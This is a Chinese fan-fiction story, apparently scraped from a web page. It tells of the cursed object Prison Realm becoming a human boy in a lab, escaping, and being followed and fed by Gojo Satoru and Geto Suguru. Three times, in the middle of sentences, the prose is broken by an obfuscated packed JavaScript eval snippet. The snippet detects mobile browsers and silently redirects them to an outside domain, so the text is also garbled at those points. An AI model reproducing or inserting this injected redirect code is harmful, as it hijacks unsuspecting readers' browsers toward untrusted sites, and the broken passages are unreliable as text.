《我是狱门疆》 1. 狱门疆 “＆％￥…＃咕噜” “嗯。然后呢。” “￥＃＠叽＊＆！！！” 黑发少年听到这里有些费解地拧起眉头：“不可以。那是它选中的人类。你不许。。你不许一次要两个。” 原本还在疯狂输出自己的冤屈的咒灵此时一脸制杖地张大了嘴巴，似乎在努力消化他的这个长难句，直到口中的粘液都流到地面上了才动了动三颗浑浊的眼珠：“％￥＆…＃＊哒＆＠！＊＆！！！！” “不行。”斩钉截铁。 不断尖声发出巨大噪音诉说的咒灵这回终于安静了，似乎因为这短短的两个字陷入了某种贤者时间。他礼貌地给它留好了思考时间。 今日的会话练习大概到这里就结束了，他不仅很流利地和别人（？）进行了一段长达半分钟的交流，还向对方提供了自己的情绪价值和建议，对方也非常欣然地接受了，最重要的是——！ 他很高情商地为它提供了足够的私人空间。 这是很多人类都做不到的事情，但是他现在已经能够做到了。 用了仅仅不到一个月的时间。 黑发少年撑在地上的双臂微微用力，将自己的姿势从野兽一样的跪趴改为类人猿的直立状态，重新坐回房间内唯一的家具，两米开外的一张单人床上。 在他的四周有着四面纯白的墙面，但不是粉刷的那种简陋装修，而是属于金属色泽的白色四壁，就连地板也像是某种特殊不透光的矿石，存在的意义或许是为了阻挡某些特殊电波，但头顶的天花板却不是这样的——至少在他看来不是——也许是某种透亮的暗色玻璃，看起来就像镜子一样，可以轻易倒映出他自己的模样。 深色的，或许说是黑色的长发，长到铺满了他的整个后背，时不时会影响到他和实验人员的行动，但是不知为何没有人考虑为他剪短一些。脸上是两只睁开的眼睛，一条鼻子，一张嘴，四肢健全，表面没有多余的尾巴和肢体。 他有作为人类的所有外表，或许有一点点出入，但应该跟外面的那些生物大差不离。 第不知道几千次，他低头看了看自己的双手，总共是规规矩矩的十根长条，白皙，修长，最顶端的肉上面长出的奇怪浅色小壳看起来很脆弱，不知道有什么作用，但至少看形状绝对凿不开他身后的墙壁。 “是。手……指。” 昨天的洗脑催眠可能还对他有些影响，黑发少年目前还觉得自己的脑子有些钝钝的，判断能力和识别能力也很有限。 好在他脑子里面本来就没有什么多余的东西，精神方面的损伤对他的影响也只是一些微不足道的限时debuff，随着时间的流逝他就开始回忆起来过去发生的事情。 他应该正在被囚｜禁。 记忆里面好像每天这个时候他都会看到同一个人，从左边的这个密封墙壁后面走进来，也是黑色头发但没有他长，只能够挡住大部分脸让他看不清长相，一走进来开口就是：“狱门疆，看着我。” 狱门疆，这个应该是他们对他的一种称呼，他不太喜欢，听起来不像是人名。 他是人类（加重）。 这样不礼貌的开场白他每次都没有理会，然后就会被强制固定视线，直直盯着那个捂脸怪一个小时，接着被带去洗脑。 洗完脑接着看。 “狱门疆，你在做什么？看着我。” 那你这又是要做什么？ 他实在是厌烦了这样不断重复的生活，其实他早就记住了那个人的长相，甚至连身体各项数据都牢记在心，那不是什么难事，但是他拒绝和伤害自己身体的人沟通。 他要保护自己的身体（加重）。 所以，有关他的身份和人身安全，这两件事情都很重要，但除了这些事情，他也不知道有什么事情需要在意了。 他不需要进食，正常情况下也没有人给他进食过，但是外面的咒灵有给他带过食物。 “％＆＊＠￥＃…” “是吗。你好。谢谢。我不吃。” 所有咒灵们都可以随意进出他的房间，他知道这件事的时候心里有些奇怪的情绪，但他不知道怎么形容，但是没关系，既然他是人类，这就是人类的情绪，这代表他在做人这件事上在进步，这是很好的事情，就算现在有所疑惑，但以后他会知道答案。 他的学习能力很强，现在已经能够分清男女了。 …… 但不知为什么，他觉得那个捂脸怪也看得到咒灵，但他不仅没有干扰还好整以暇地看着咒灵为他送餐。 陌生的实习生被突然出现在他房间里面的人类残躯吓得鬼哭狼嚎，连滚带爬地离开了之后还留下了一些东西，他闻着房间里面的异味第一次感觉自己脏了。 他要保护自己的地盘（加重）。 这条是后面加上的，但是他现在觉得这件事情也很重要，至少那些咒灵离开他的房间之后都会认认真真把自己流出来的液体和残肢都吃进肚子里带走，所以在它们来找他聊天时，他会出于人道主义告诉他们：一个咒灵一辈子只能拥有一个人类，你们不要争夺别人的人类。绿色的咒灵不好看，我不喜欢。 “％￥＆＊＃！” 咒灵们没听懂，但是每次都照做了。 他总结：咒灵好，人类坏。 至少这些咒灵们在发现吃不动他之后，都成为了他的聊天搭子，而人类在发现子弹和火焰对他没用之后只想着拿更大的武器来攻击他，然后再看着毫发无损的他怒声咒骂经费的浪费。 只有捂脸怪不生气，他还当着他的面喃喃自语：“原来如此，无法被损坏的咒物变成了人类也对所有物理攻击免疫吗……” 然后他就开始过上了每日一洗脑的生活。 话到这边又说回头了，人类一般不这么颠三倒四地说话，但是毕竟他天天洗脑脑子本来已经不太清楚了，连好心半夜偷溜进来给他送饭的实验室主管都被他瞪过。 “这是寿司…你要不要尝尝？” 是人类的食物，他吃了，学着席地坐在他脚边的男人一样咀嚼再咕咚进嗓子里，有点凉，还有点软烂，他不知道这是好吃还是不好吃，就点点头。 点头是感谢和赞同，所以：“谢谢。你好。喜欢。” 男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362963|168102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高兴地点了点头离开了，但是从那天之后再也没来过，他能感觉到男人没有走远，就在这附近的一公里内，应该是被捂脸怪阻拦来见他了，所以他就一直记着那个凉凉软软的寿司。 那是人类的食物，他以后是要经常吃的，不要忘记了（加重）。 还有，他要找到合适的、不会伤害他的身体的人，面对面坐着一起吃，还要给对方递筷子，这是人类吃饭的习惯（加重）。 …… 综上所述，人类真是好奇怪的生物，但既然现在他是—— 黑发少年倏然站起身，脱去宽大的白色外袍，赤｜身裸｜体地缓缓走到房间中央，这期间他的头都是向上仰着看着天花板上映出的自己，直到脖子仰成一个直角也没有改变自己的姿势，直直注视着镜子里的那个生物，视线一寸一寸确保身躯的完整和安全。 ——他就要当得比所有人都好。 某人的犟种品格不知不觉在此刻已经暴露无遗，弱小的咒灵熟知他的本性，趴在房间的角落和自己较劲了许久，直到啃掉自己的一部分身体之后终于说服了自己。 能思考咒生的那部分被吃掉了呢（嚼嚼嚼）。 ＊ “嚯，还真是好吓人。” 身着白色大褂的实习生被突然凑近的人脸吓得往后退了退，差点连手上的登记册都扔了出去。 一旁年长一些的记录员头也没抬地告诫他：“不要惊动他，昨天的测试结果出来了，他的智商数值不高，跟普通的大型野兽差不多，那可能在感知能力方面会比较敏锐。” 都隔音单面玻璃了，能感知什么？实习生不在意地移开目光，嘴上倒是像模像样：“前辈，那博士的实验要求有都按序进行吗？” 这声博士喊得恭敬，实则不然。 至少他从来没有在任何国际学术会议上见过对方，也许是某些专注于学术的前辈，但也不乏对方是沽名钓誉之辈的可能性。 说到底，到底什么样的怪人才会在额头上留下那样狰狞的缝合线呢？ “那样高难度的实验，我真是想都不敢想，既然我们已经走到了这一步，那成功了或许……” “好了。” 记录员当然听出他的阴阳怪气，抬起头面露无奈地打断他：“我们也只是拿钱办事，你其实也只是为了自己的履历好看一点吧？” 实习生噎了一下，尴尬地闭上了嘴。 实验记录上面还说这个少年是从一个古代魔物变化而成，说真的，这种话真的有人信吗？他可是一个个问过了，这整个实验基地里面的人都是跟他一批招进来的，没有一个人见过那个所谓的正方体魔物。 这个少年还不知道是被从哪个贫民窟捡来的，脑子不正常就算了，现在还要被人改造成人形兵器去给人卖命。 翻看着手上的资料，目光从那些令人匪夷所思的实验器材和流程上面划过，实习生叹了口气。 这一整套下来人还在吗……算了，他还是想想他的简历要怎么编吧。 真是可恶的黑心甲方，下次这种折寿的活他才不会接！ …酬劳翻倍可以考虑。 2. 意外 “轰——” “喂，这里是编号HZ88031，外面刚才什么动静…什么？！好好，我知道了，这就组织人员撤退。” 男人迅速放下实验室的内部座机，转身向坐在身后的黑衣男子汇报：“……有人联合上面给我们施压，目前最外部的遮盖物已经被拆除了，要不了多久就会查到这里的地下实验室，我们大概…必须要撤离了。” 动作居然这么快吗…… 黑衣男子面无表情地压了压和衣服同色系的帽檐：“那就先撤离。记得把不该留的都处理掉。” 不该留的？男人的头深深低下去，猜测着他指的到底是人还是物品。 按道理来说就那些公安和FBI的能力，怎么也不会这么快就找到这个才刚刚建成不久，参与人员还东拼西凑的小型实验室，就连他们的研究课题也很不靠谱，听说是企图复活千百年前的人——老天，不怪他作为主管都对实验内容不熟悉，实在是他也是个上周才进来摸鱼的新人。 等着黑衣男人的脚步声走远，他才直起身迅速通知各部门。 “各部门注意，由于某些特殊原因，本项目已经提前结束，不日就有有关人员即刻上门拆除这边的建筑，请所有人有序撤离！” “工资…当然、当然有，下个月月头就会按时发放到你们的银行卡上的！我们可是良心企业！！！” “走走走，你们都被辞职了……实习报告当然有，记得留意你们的邮箱！” “博士，请您…什么，博士已经离开了？！” 兵荒马乱的撤离中，那个总是在额头上缠着厚厚白色绷带的博士早就消失得无影无踪，几乎明摆着告诉所有人，关于这次的突然撤离他早就得到了相关的消息。 演戏也不知道演全套…… 男人一边嘀咕着收拾着自己的东西，走之前小心翼翼地瞥了眼守在大门的黑衣男人腰侧的突起，又立刻低下头加快了脚步。 “你等会。” 男人身形一僵。 琴酒一步步走近，抬脚踢了踢看起来他份量很足的手提箱，几个壮汉立刻上来拿走了他的箱子，将里面的东西全都搜查了一遍。 “报告，没有发现可疑物品。” 男人手脚僵硬地看着他们动作，脸上努力表现出一副敢怒不敢言的模样，看起来似乎连手指都紧张到开始痉挛，不自觉地摩挲着裤子侧边的布料。 ——也只是看起来。 琴酒盯着他看了一会，抬了抬手，示意他可以离开了。 男人松了口气，抬手擦了擦额角冒出的冷汗，在阳光的反射下指缝里不经意间闪过一道金属反光，但他毫无所觉，连忙弯下腰把手提箱收拾好后匆匆离开。 伏特加上前一步：“大哥，要叫人跟着吗？” 就这样看着他把实验室的钥匙带走吗？如果他没记错的话，那个实验体似乎还没被带走吧？ 琴酒眯着眼望向前方，直到看不见对方的背影才收回目光：“不用，一切就按照博士的话去做。” “是。” ＊ “确认了，家里那群老橘子说这个就是狱门疆。” 咔哒一声挂断电话，五条悟随手将方形咒物上下抛拿着，“就是那个传说中失踪了好多年的特级咒物。” “是吗？” 刚刚和辅助监督接洽完走回来的夏油杰抬了抬眼皮，分了一点注意力过来。 唔，形状规规矩矩颜色却很奇怪……不，其实连形状都很奇怪吧？到底为什么一个和尚的舍利子会是正方体的样子，而且上面的那个是什么？眼皮吗？……这么多？ 诡异到让人掉san的外形让夏油杰看两眼就忍不住移开了目光。 五条悟倒是不停摆弄着那个青灰色的正方体，甚至好奇地举起来在桌子上磕了两下，“真奇怪啊，老子刚刚确实踩了好几下了，但是——好奇怪啊，杰，根本一点痕迹都没有留下。” 夏油杰无奈点点头。 从咒灵窝里面掏出来这个怪模怪样的咒物之后他就和五条悟研究了很久，但依旧不知道它的具体使用方法，甚至暴力破坏也不能让它运作起来。 “六眼也看不出吗？”家入硝子有些惊讶。 “六眼告诉老子它只需要大喊一句‘狱门疆，开！’就可以了啊，但是这家伙好像有自己的意志一样，根本不听指挥啊可恶！” 几个一年生刚入学高专不久，特级咒物这种可遇不可求的存在对于他们还是太过抽象，就连这次的任务也是莫名其妙的，至少五条悟和夏油杰第一次接到这样的任务，只是要求他们跨越小半个地球跑去一处被不知名组织废弃的实验室里处理咒灵。 五条悟的表情带了点疑惑：“明明那里连个活人都没有，荒郊野外的，但是却有一大批的低级咒灵，就好像是有人故意饲养在那里的一样。” 刚把他们送回来的辅助监闻言有些诧异，音调忍不住拔高：“什么？！居然不止一个咒灵吗？” 高专三人一静。 “你这话是什么意思？”夏油杰笑眯眯靠近他，手掌自然地落在他的肩膀上，眼神里透着点好奇，“难道你拿到的任务资料不是那样吗？” 年轻的辅助监督似乎才意识到自己说错话了，干笑两声，想要转移话题又在五条悟直直看过来的目光中收住了话头：“……啊，是，也许是有什么突发状况吧？……嗯…我上周看到国外传回来的消息是，有一个男人被人枪杀在那里，他的怨念变成了某种咒灵……啊，虽然不是很强大的咒灵，但是似乎因为牵扯到当地势力，这个任务才几经周转交给我们。” 他说到这里也有些费解：“按道理来说，只有一个人死去的话，那么偏僻的地方，为什么会有那么多咒灵聚集呢？” 总监部的任务范围主要还是在国内，这样的情况一般就是当地处理不了才外聘国外的咒术师去帮忙，但是很难解释这样的任务为什么会落到他们两个高专一年级生的头上。 刚刚入职的年轻辅助监督抬眼看了看身前两个身形高大的少年，回想起同事们口口相传的关于这两位的事迹，突然觉得事情可能没有那么简单。 而且，谁家出门杀个三级咒灵就能捡到一个失传已久的特级咒物啊…… 家入硝子低头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362964|168102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉吟一会，从口袋里面抽出一包烟，两指合并拍了拍烟盒尾部：“无所谓，反正你们都没受伤。话说，这次的酬劳应该不少吧？记得请客。” 这句话倒是没说错，两个DK看着自己卡里光速到账的巨款对视了一眼，目光都锁定在了眼前的狱门疆身上。 这么简单的任务还这么大费周章，简直明摆着在告诉他们这次任务不是总监部的烂橘子们脑子有问题，就是这个咒物有问题。 咒高内部的图书馆的工作人员按照辅助监督的要求，为他们打开一间早已准备好的封闭的房门，他们就在这个面孔年轻的辅助监督的监视下将狱门疆放进了早就准备的盒子里，再看着他用符箓层层叠叠封印好。 五条悟眯眼看了一会：“特级封印？真的假的？” 虽然是特级咒物，但是这家伙好像没什么攻击性吧？有必要这样吗？ 年轻的辅助监督已经放弃了挣扎，低着头一板一眼地回答五条家大少爷的疑问：“是的，有大人要求这样做，因为经过讨论认为狱门疆是很重要的咒物，需要好好保管。感谢二位这次为我们带回了他，也希望他能够在咒高各位的保护下，在这里安静长眠。” “……” 明明是风也无法吹到的图书馆藏室深处，三个高专生心中却升起了一丝丝凉意。 ——这个辅助监督在称呼一个咒物为“他”。 没人问他为什么使用这样的称呼，似乎笃定了这个称呼从一开始就不是他赋予的，而是从他人口中学舌而来。 事情似乎到这里就结束了，这个活少钱多的跨国肥差也画上了尾声，家入硝子和辅助监督同时抬起手腕看了看时间，向着门外走去，五条悟和夏油杰的脚步顿了顿最终还是跟上了他们。 “嗯？” 五条悟听见好友的声音回过头来：“杰，怎么了吗？” 抬脚跟在他身后的夏油杰眼神定定看着一处，直到所有人都忍不住回过头来看着他，这才别开了脸：“不，刚刚总感觉那里有东西动了一下——也许是我看错了吧。” 看错了？ 五条悟和家入硝子的眼神微动，但很快三人默契地拌着嘴岔开话题，像是什么都没有发生过一样跟着辅助监督离开了。 年轻的辅助监督直到走出图书馆还有些疑惑。 是他没有注意吗，刚才似乎没有落锁的声音？可是下一秒他就晃了晃头，轻而易举地将这个疑惑抛出去。 潜意识让他不要追究这件事情。 ＊ 深夜。 高专内寂静无声，刚刚救治完最后一个伤者的家入硝子起身伸了个懒腰，走出去站在医务室门口发了会呆。 “……白天还很在意的样子，现在居然全睡了吗，那两个家伙。” 远远看去宿舍楼那一处昏暗一片，家入硝子有些惊讶地折了下烟嘴。下午的时候她看那两个家伙的反应，她还以为他们晚上要…… “硝子不好啦啊啊啊狱门疆它、他自己长手长脚跑了啊啊啊啊啊！！！！” 家入硝子：“……” 短发少女无奈地扶额叹了口气。 3. 群居（捉 东京某处郊外。 目前我们看到的这个脑子看起来不太清楚的……算了，我们姑且先叫他狱门疆吧，脑筋看起来不太好的新生儿（？）狱门疆顺着空无一人的马路一直走，现在已经在靠近居民区了。 他能感觉到那里有很多人类。 人类是群居动物，异于常人的感知能力他能够大致判断出哪个方位有大量的人类居住。 他需要群居，这边的人太少了，从根本上来说不符合群居的要求。 他需要像人类一样群居（加重）。 那不是一件简单的事情，但是在实验室时他身边的人类都离开和死去之后，狱门疆就陷入了某种迷茫，对同类的渴望让他意识到自己似乎无法做到完全离开人类的视线。 身体里有东西在命令他不要离开人群。 是的，他需要被发现。他不可以自己躲在没有人烟的地方。 ……等会。 狱门疆突然停下脚步，这突如其来的动作让跟着他的两人也不自觉停下，疑惑地对视了一眼，发生了什么？难道是发现他们了吗？ 狱门疆只是在沉思。 短时间他似乎还没有办法像咒灵那样必须停下动作才能深度思考的坏毛病。 ——有某种程序强制规定了他必须生活在容易被人发现的附近，不可以独自藏起来，也不能有自毁倾向。 他需要被使用（加重）。 但他很快就反应过来这其实并不重要，因为他就在使用自己。 拥有人类高等智力的咒物从最开始就狡猾地利用了规则，直接操纵自己来保护自己，而这样的举动不仅仅让他的研发者大吃一惊，也让所有知情者感到匪夷所思。 这也是一种使用，不是吗？（笑 夜幕之下，黑发少年身上裹着不知道从来里翻到的高专校服，将过长的袖子和裤脚卷好之后，还从上衣口袋里顺到了两圈发绳。 这是什么？ 他停下脚步，仔细端详了一会，手指揪住两边扯了扯……嗯？ 被人们称为“狱门疆”的少年表情讳莫如深地看着手中的橡皮筋一会，下一秒无师自通地拿将它们绑到了自己的头发上，因为头发太多以至于只能绕一次就捆了个结结实实。 虽然留这么长的头发很麻烦，但这是没办法的事情，他是不会伤害自己的，就算是人类可以随意舍弃的头发也不可以。 身体的完整性是首位的（加重）。 虽然就算伤害了也没用就是了，属于咒物的【物理免伤】的特性让他的身体不会受到任何实质性的伤害，所以别人的攻击影响到的只有他的心情和好感度。 没有人可以伤害他的身体（加重）。 包括他自己。 此时此刻，被强加进去的某些程序依旧在发挥着作用，当事人即便知道了原因所在，依旧保持了沉默。 这是暂时还不会和他本人意志发生冲突的好程序，目前可以保留。 一个成功的人类，需要学会取其精华，去其糟粕。 他正走在通往成功的道路上。 除此之外，他还需要很多很多的对照物能够供他学习，让他变成一个完整的人类。 不让别人有机会察觉到他的异常，这件事情很重要。 …… 五条悟和夏油杰所乘坐的咒灵距离狱门疆不远，他们早就发现了刚刚变成人还不会隐藏自己踪迹的狱门疆，现在正在偷偷摸摸靠近。 “怎么回事？！”夏油杰感觉自己才被咒术界重塑的三观又经历了一次毁灭性打击，表情看似平静实则内心已经有些崩溃了，“它…他他他？！他不是咒物吗？为什么变成人了？还偷了我的衣服？？？” 白天辅助监督的一番话已经足够让他们起疑，更不必说他们半夜摸进图书馆里面成为了狱门疆变成人的全过程的目击者。 明明贴着层层叠叠封印符箓的盒子还放在那里，特级咒物却突然出现在了不远处的地面上。 六眼语：“他把盒子上的封印时停了，不是很强的能力，目前应该只能对这种静物起效果。” 也只是目前。 比他慢了一步的夏油杰瞪大了双眼一点点看着那个真品狱门疆一点点化作身体瘦弱的少年，他敢肯定自己听见了对方作为人类的骨骼噼啪作响的声音。 以及某些东西碎掉的声音。 但无人在意，就连现在坐在他身旁刚回宿舍对完账的五条悟还沉浸在兴奋的情绪中，大笑着差点从咒灵身上掉下去：“还有老子的裤子！” 有意思，太有意思了！ 他可没有听说过还有咒物能够变成人的！ 夏油杰也反应过来了：“所有这是小概率事件吗？那我们要不要把他带回去？那他要以什么身份跟我们回去？” 虽然不知道为什么刚才咒高的结界没有响，但显然五条悟的那一声看热闹不嫌事大的尖叫一出，那就不会只有他们几个“小偷”发现了狱门疆的失踪，好在图书馆里面都还保存着一个能够以假乱真的狱门疆，但那个已经变成人的那个要怎么办？夏油杰头疼。 五条悟显然没他想的那么多：“别管那么多了，我们先跟紧了看看他要做什么，没问题就过去打个招呼，有问题就直接打晕带走！” 不…夏油杰欲言又止，那到底是个特级咒物，看起来咒力量还特别多，该不会战力也是个特级级别吧？ 他们真的打得过吗？ …… 应该是打不过的。 BY狱门疆谦虚语。 超乎常人的感知能力在两个DK进入以他为中心的直径一公里内就已经被他察觉了，然后很配合地跟他们玩起了“你以为我不知道其实我不仅知道还知道你以为我不知道你知道我知道了”的游戏。 人类需要善解人意的同类。 他现在是人类，他需要保护他此生一睁眼就看到的、映照在天花板上的属于他的人类躯壳，也需要回应对他的身体抱有善意的生物。 他的脑子当然没问题，他当然知道那个捂脸怪要做什么，身为实验体的他因为某些原因会无法抑制地对受肉后睁眼看到的第一个生物抱有好感，但就和每次洗完脑被送到那张狭窄的单人床上一样，他睁眼看到的只会是映照在天花板上的黑发少年。 黑发少年，是保护对象。 而他就是那个黑发少年。 他，自己，就是，保护目标。 他需要保护自己……的身体，包括每一根毛发，每一寸皮肤，不允许受到任何损害。 伤害黑发少年的，都是敌人。 也就是说，伤害他的身体的，都是敌人。 所以无论如何，他的身体是第一位的。 夜晚的凉风吹在黑发少年的耳畔，他动作轻快地走进居民区，一路上走走停停，根据身边经过的人一点点调整着自己的穿着，途中还经过了好几户人家的院子，等到他一直走到市区时，天边已经泛起一些鱼肚白，他身上的衣服也变成了合身连帽卫衣和牛仔裤，黑色的运动束发带戴在额头上，挡住了不应该存在在人类身上的第三只眼。 ——紧紧闭合的第三只眼睛。 人类不喜欢身上有异常的同类，他们会吓得大呼小叫再惹来麻烦，比习惯独来独往的咒灵麻烦很多。 当然其实暴露了也没关系，解决掉目击者就好了。 狱门疆心情平静地想。 但那种事情不着急的，大街上似乎也没有人可以让他攻击，所以现在的问题在于——接下来他要去哪？ 从夜晚到清晨，被冷风吹了几个小时的人类脑袋终于冷静下来，狱门疆靠在已经灭掉的路灯下开始思考这个重要的问题。 原本他被捂脸怪变回原型困在了那个实验室，但是没过几天就有人闯进了那里，还在一夜之间带着他跨越了几万公里，来到了这个陌生的地方。 那些人就是现在跟着他的那两个，有一个是奇怪的白发男人，另外一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362965|168102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然是长发，但应该也是男人。 ——就像他自己同样有长发，但也是男性。 狱门疆如此以己度人。 这个两个人是帮助过他的人，虽然是无意之举，但没必要杀死他们。 所以他要让他们帮助自己回到那个实验室去吗？ 路灯映照下，狱门疆学着人类的样子忧郁地摸了摸下巴，回忆着来时的距离，总觉得这不是个好主意。 那个和他吃寿司的男人已经死掉了，他没有回去的必要。 这里也有人类，他不用舍近求远。 就在这时候—— “喂！” 听到声音的黑发少年身体僵住了，慢慢回过头顺着声源看过去。 两个身形高挑的少年从一只陌生的咒灵身上一跃而下，笑嘻嘻地对他招手：“你要去哪？需要搭个顺风车吗？” ……鲁莽的人类、不对，是勇敢的同类。 狱门疆有些紧张地站直了：“你好。不用。” 招呼打完之后他就开始观察这两个陌生的人类。 眼前的这两个少年都比他高出半个头，看起来都不算弱，是合适的交友对象。 ——交好之后可以帮助他一起保护身体。 黑发的那个看起来对他有些恶意，但是不多，至于白发的那个……他疑惑地歪了歪头，友好地开口补充了一句：“我要在这里定居。不用。谢谢。” 空气一静。 手势都摆出来准备直接拿下的夏油杰的表情僵住了：“你要在这里…定居？” 狱门疆顺着他的目光转过身去，看着眼前的小学大门沉默了。 这里看起来…好像不太像是人住的地方。 观察着小学围墙上竖着的一排金属栏杆，再回忆起自己的那个温馨干净（？）的一室零厅360°全避光小房间，狱门疆有些不知所措。 学区房，但户型不好，不要。 不知道什么时候开始接电话的五条悟挂断电话从旁边走了过来，对他招了招手：“目前没有人发现你跑出来，要不要跟我们聊聊你的状况？” 看起来很可信的样子，考虑到对方那高到离谱的好感度，狱门疆盯着白发少年嘴角的笑容轻轻点了点头。 并且坦然说出了自己的座右铭： “我要成为人类。我要杀死所有伤害这具身体的人。我要和人类吃饭。” 朴实无华的三个愿望说出来，来之前已经把他当作特殊的人形咒灵的两个DK面面相觑。 搞什么，这不是一点主动攻击人类的意图也没有吗？ 除了想要自保的那条比较极端之外，其他的完全是很普通的愿望吧，看起来没人帮助他也能做得很好，重点是……夏油杰试探询问：“你刚才，为什么不杀死那个咒灵？” 被狱门疆顺手牵羊的其中一户人家里面，那个醉酒的男人差点就被咒灵杀死了，但是这个口口声声说着只是想要自保的少年可是无动于衷。 狱门疆歪了歪头：“咒灵。朋友。好。” “……” 短短五个字又引发了现场一阵令人窒息的沉默。 五条悟和夏油杰终于意识到了问题的严重性，他们上下打量了一下这个少年。 他全身上下似乎只有刚刚在居民区顺来的一身衣服，以及，他目前看起来就像一个普通的少年。 还是一个铁了心想要在话都说不全的情况下独自生活的未成年。 五条悟还在强压嘴角想着再逗逗他，夏油杰已经忍不住上前两步。 “抱歉，先跟我们走吧？” 面对对方茫然的目光，夏油杰沉吟了一下：“你…饿不饿？” 变成人类的话，他跑了一晚上应该要是要进食的吧？他们两个刚刚已经饿的不行了，干脆找个吃饭的地方坐下来套话吧。 密码正确√ 黑发少年眼睛一亮，在两人讶异的目光中露出满脸愉悦的表情轻快地点了点头。 4. 生气 东京街头一家随处可见的家庭餐厅里。 “那你以后要怎么办？”断断续续听完少年完整遭遇的夏油杰面露担忧。 很自然地从他手里接过筷子的狱门疆盯住了眼前的食物：“不知道。你好。谢谢。吃饭。” 五条悟：“哈哈哈哈哈哈哈哈哈哈哈哈！！！” 被抢了筷子的夏油杰一阵失语。 没见过的食物，看起来人类的食物比他想的还要多种多样，狱门疆等待着夏油杰跟服务员要了新的筷子之后，有样学样地开始吃早饭。 看着他一口一口吞咽着，甚至连喝口汤都认真地咀嚼了几口再咽下，五条悟好奇发问：“你本能就会进食吗？吃下去的东西要排泄吗？” 这不是一个礼貌的问句，狱门疆从夏油杰对白发少年的瞪视中判断出来的。 而且根据他动作开始的时间，再加之某些主观判断，白发少年的第二句话才是不礼貌的来源。 他犹豫了几秒，决定还是认真回答这两个请他吃饭的好心人：“不会。不要。” 保护身体，避免冲突，目前的他还不具备主动攻击的能力。 关于他吃进去的东西，其实是被存放在了身体里面的异次元里面，每次吞咽他都在用自己的术式锁住那些食物，然后再将它们“杀死”，所以不用消化也不用排泄，直接一键删除就可以了，不会留下一点痕迹。 读不懂他内心独白的两个DK面色晦暗地对视一眼。 啊，问的每个问题都好好回答了，果然是刚当人不久吧？ 是的，看起来很好骗…不，很听话的样子。 当着人面蛐蛐实在是不好，他们的眼神交流仅仅进行了几秒，在狱门疆察觉到不对劲抬起头来之前夏油杰就清了清嗓子：“那，你叫什么？我们需要怎么称呼你？” 叫什么？ 狱门疆动作一僵。 夏油杰没有察觉到他的异常，只当他没有理解自己的意思：“每个人都是有自己的名字的，在我们出生之后父母就会给我们一个名字，用以日常生活中的交流。你的名字是什么呢？” 还是没有用反应。 夏油杰神色都有些困惑了，五条悟也支起了下巴。 他们感觉到了，眼前的这个家伙在愤怒。 “…没有。名字。人类。名字。没有。” 他不断重复，不断打断自己又重复自己的话：“没有名。人名。我是。人类。没有。名字！” 那些家伙不管不顾地将他受肉后又不断地伤害他的身体，如今居然连一个像样的名字也没有给他吗？ 这已经不是没有礼貌了。 这是一种羞｜辱，狱门疆笃定。 人类是无法接受来自弱者的羞｜辱的，所以这时候的他…需要生气。 生气……生气怎么表达? 惊人的咒压突然暴涨，原本安安静静垂在他身后的被束起的头发都开始无风自动，不知道是不是错觉，夏油杰感觉自己听到了某种尖锐物碎裂的声音。 “你等一下。”五条悟在桌边的窗户碎开的前一秒制止了他。 狱门疆的手猝不及防被他按住，顺着声音的来源面无表情抬头看他，六眼这才真正确认了一件事情：除了刻意被放出的、用于表演自己的心情的咒力外，眼前的黑发少年的眼里根本没有任何情绪。 人类的双眼不会没有情感流露，特别是一个正在生气的人类，情绪的变化往往会引起肾上激素的加快分泌，激素再刺激神经兴奋，进而导致瞳孔的扩张。 而不是这样不带一丝情绪的，就像是某种类人兽类的双眼。 五条悟看得清清楚楚，黑发少年的眼睛没有任何变化，咒力的翻倍沸腾对于他来说就好像拧开水龙头那样简单， 夏油杰也被这双眼睛震惊到身体微微前倾，时刻准备好，生怕他一个暴起就在这个餐厅里面伤人。 “……不要害怕。生气。不对你们。” “……” 狱门疆敏锐地察觉到了气氛的不同寻常，端详了两人的脸色一会，他觉得自己找到了问题所在，收敛了自己的气息，开始反思自己刚刚是不是学那个捂脸怪学过头了：“对不起。你们。好吗。” “……………” 都是经常和非人生物打交道的，遍体生寒也不至于，但他们终于对于眼前的黑发少年不是人类这件事有了实感。 气氛就这僵持了一会，五条悟突然开口：“你好像无法理解‘生气’的情绪。” 夏油杰一惊，下意识看向黑发少年， “是的。无法。” 人类的情绪无法被目前的他完全理解，这是一个毋庸置疑的事实，还没有羞耻情绪的狱门疆爽快承认：“我要成为人类。不被人类发现异常。保护自己的身体。” 这三句话简单翻译一下就是：我才当人类，还不完美，你们不要大惊小怪。而我混入人群的目的是为了不被人类发现目前还没有完全适应自己能力的自己，最终目的还是保护自己的身体。 